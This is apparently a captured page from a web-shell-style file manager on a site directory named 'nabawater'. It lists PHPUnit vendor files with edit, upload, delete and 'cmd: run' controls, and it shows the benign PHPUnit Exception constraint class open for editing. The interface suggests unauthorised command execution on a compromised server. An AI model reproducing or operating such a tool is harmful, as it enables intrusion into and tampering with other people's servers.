/
var
/
www
/
vhosts
/
nabawater
/
vendor
/
phpunit
/
phpunit
/
src
/
Framework
/
Constraint
/
/var/www/vhosts/nabawater/vendor/phpunit/phpunit/src/Framework/Constraint
mkdir
upload
Name
Size
Mode
Actions
JsonMatches/
-
0775
rm
And.php
3008
0664
edit
dl
rm
ArrayHasKey.php
1927
0664
edit
dl
rm
ArraySubset.php
2788
0664
edit
dl
rm
Attribute.php
2404
0664
edit
dl
rm
Callback.php
1331
0664
edit
dl
rm
ClassHasAttribute.php
1938
0664
edit
dl
rm
ClassHasStaticAttribute.php
1304
0664
edit
dl
rm
Composite.php
1934
0664
edit
dl
rm
Count.php
3007
0664
edit
dl
rm
DirectoryExists.php
1425
0664
edit
dl
rm
Exception.php
2148
0664
edit
dl
rm
ExceptionCode.php
1573
0664
edit
dl
rm
ExceptionMessage.php
1952
0664
edit
dl
rm
ExceptionMessageRegExp.php
1834
0664
edit
dl
rm
FileExists.php
1410
0664
edit
dl
rm
GreaterThan.php
1174
0664
edit
dl
rm
IsAnything.php
1540
0664
edit
dl
rm
IsEmpty.php
1525
0664
edit
dl
rm
IsEqual.php
4848
0664
edit
dl
rm
IsFalse.php
836
0664
edit
dl
rm
IsFinite.php
840
0664
edit
dl
rm
IsIdentical.php
3746
0664
edit
dl
rm
IsInfinite.php
848
0664
edit
dl
rm
IsInstanceOf.php
2189
0664
edit
dl
rm
IsJson.php
1795
0664
edit
dl
rm
IsNan.php
828
0664
edit
dl
rm
IsNull.php
832
0664
edit
dl
rm
IsReadable.php
1419
0664
edit
dl
rm
IsTrue.php
832
0664
edit
dl
rm
IsType.php
3386
0664
edit
dl
rm
IsWritable.php
1419
0664
edit
dl
rm
JsonMatches.php
1519
0664
edit
dl
rm
LessThan.php
1165
0664
edit
dl
rm
Not.php
4131
0664
edit
dl
rm
ObjectHasAttribute.php
876
0664
edit
dl
rm
Or.php
2800
0664
edit
dl
rm
PCREMatch.php
1420
0664
edit
dl
rm
SameSize.php
541
0664
edit
dl
rm
StringContains.php
1805
0664
edit
dl
rm
StringEndsWith.php
1190
0664
edit
dl
rm
StringMatches.php
2276
0664
edit
dl
rm
StringStartsWith.php
1173
0664
edit
dl
rm
TraversableContains.php
3436
0664
edit
dl
rm
TraversableContainsOnly.php
2428
0664
edit
dl
rm
Xor.php
2915
0664
edit
dl
rm
Edit:
/var/www/vhosts/nabawater/vendor/phpunit/phpunit/src/Framework/Constraint/Exception.php
(2148B)
<?php /* * This file is part of PHPUnit. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ class PHPUnit_Framework_Constraint_Exception extends PHPUnit_Framework_Constraint { /** * @var string */ protected $className; /** * @param string $className */ public function __construct($className) { parent::__construct(); $this->className = $className; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other Value or object to evaluate. * * @return bool */ protected function matches($other) { return $other instanceof $this->className; } /** * Returns the description of the failure * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other Evaluated value or object. * * @return string */ protected function failureDescription($other) { if ($other !== null) { $message = ''; if ($other instanceof Exception || $other instanceof Throwable) { $message = '. Message was: "' . $other->getMessage() . '" at' . "\n" . PHPUnit_Util_Filter::getFilteredStacktrace($other); } return sprintf( 'exception of type "%s" matches expected exception "%s"%s', get_class($other), $this->className, $message ); } return sprintf( 'exception of type "%s" is thrown', $this->className ); } /** * Returns a string representation of the constraint. * * @return string */ public function toString() { return sprintf( 'exception of type "%s"', $this->className ); } }
Save
cmd:
run